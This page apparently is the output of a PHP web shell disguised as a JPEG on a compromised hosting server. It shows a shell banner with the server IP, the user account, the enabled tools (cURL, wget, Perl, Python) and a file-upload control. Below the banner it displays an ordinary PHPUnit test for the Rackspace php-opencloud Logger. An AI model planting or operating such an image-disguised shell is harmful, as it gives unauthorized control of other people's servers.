����JFIF��x�x����'
Server IP : 78.140.185.180 / Your IP : 216.73.216.82 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/www/vendor/rackspace/php-opencloud/tests/OpenCloud/Tests/Common/Log/ |
Upload File : |
<?php /** * Copyright 2012-2014 Rackspace US, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ namespace OpenCloud\Tests\Common\Log; use OpenCloud\Common\Log\Logger; use PHPUnit_Framework_TestCase; class LoggerTest extends PHPUnit_Framework_TestCase { public function __construct() { $this->logger = new Logger; $this->logger->setEnabled(false); } public function testUrgency() { $this->logger->emergency('Emergency'); $this->expectOutputRegex('/Emergency/'); $this->logger->alert('Alert'); $this->expectOutputRegex('/Alert/'); $this->logger->critical('Critical'); $this->expectOutputRegex('/Critical/'); } public function testLogLevels() { $this->assertNull($this->logger->warning('Warning')); $this->assertNull($this->logger->error('Error')); $this->assertNull($this->logger->debug('Debug')); $this->logger->setEnabled(true); $this->logger->notice('Notice: {string}', array('string' => 'Hello world')); $this->expectOutputRegex('/Notice: Hello world/'); } public function testSettingOptions() { $file = __DIR__ . '/test.log'; $fp = fopen($file, 'w'); $this->logger->setOptions(array( 'outputToFile' => true, 'logFile' => $file, 'foo' => 'bar' )); $this->assertNull($this->logger->getOption('foo')); $this->logger->emergency('This is an emergency!'); $this->assertRegExp('#This is an emergency!#', file_get_contents($file)); fclose($fp); unlink($file); } /** * @expectedException OpenCloud\Common\Exceptions\LoggingException */ public function testOutputFailsWithIncorrectFile() { $this->logger->setOptions(array( 'outputToFile' => true, 'logFile' => __DIR__ . '/fakeFile' )); $this->logger->emergency('Can anyone see this?'); } public function testDeprecationMessage() { $this->assertEquals( 'The OpenCloud\Tests\Common\Log\LoggerTest::testDeprecationMessage method is deprecated, please use testMethod instead', $this->logger->deprecated(__METHOD__, 'testMethod') ); } }